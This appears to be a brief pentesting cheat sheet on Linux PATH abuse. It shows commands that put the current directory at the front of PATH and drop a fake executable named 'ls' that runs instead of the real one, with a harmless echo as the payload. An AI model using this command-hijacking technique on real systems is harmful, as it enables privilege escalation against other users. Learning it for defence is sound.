Path Abuse

Checking PATH

$ echo $PATH

$ env | grep PATH

Adding . on the PATH

$ PATH=.:${PATH}
$ export PATH
$ echo $PATH

.:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

Sample Exploitation

$ touch ls
$ echo 'echo "PATH ABUSE!!"' > ls
$ chmod +x ls
$ ls

PATH ABUSE!!